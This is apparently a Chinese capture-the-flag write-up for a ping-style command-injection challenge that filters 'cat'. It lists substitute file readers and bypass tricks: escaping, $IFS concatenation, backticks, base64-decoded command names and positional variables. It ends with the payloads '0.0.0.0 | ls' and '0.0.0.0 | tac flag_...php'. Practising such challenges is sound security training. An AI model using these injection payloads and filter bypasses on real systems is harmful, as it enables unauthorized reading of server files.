题目描述
过滤了 cat 命令之后,你还有什么方法能读到 Flag?
Solution
打开网页,可以看到服务器的后端代码:
根据源代码可知,题目用正则匹配把$ip
变量中所以匹配到cat
字符串的结果顺序输出到$m
变量中。
对于cat
命令过滤,我们有如下绕过方法:
替代法
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
转义符号
ca\t /fl\ag
cat fl''ag
拼接法
a=fl;b=ag;cat$IFS$a$b
反引号绕过
┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ ls
flag
┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ cat `ls`
flag{Hello World}
Base64 编码绕过
┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ echo 'cat' | base64 1 ⨯
Y2F0Cg==
┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ `echo 'Y2F0Cg==' | base64 -d` flag
flag{Hello World}
位置变量绕过
┌──(cheery㉿kali)-[~/Desktop/flag]
└─$ ca$9t flag
flag{Hello World}
我们输入下列命令查看当前目录有什么文件:
0.0.0.0 | ls
然后用tac
输出 Flag 文件,在前端源码中找到:
0.0.0.0 | tac flag_303863133132487.php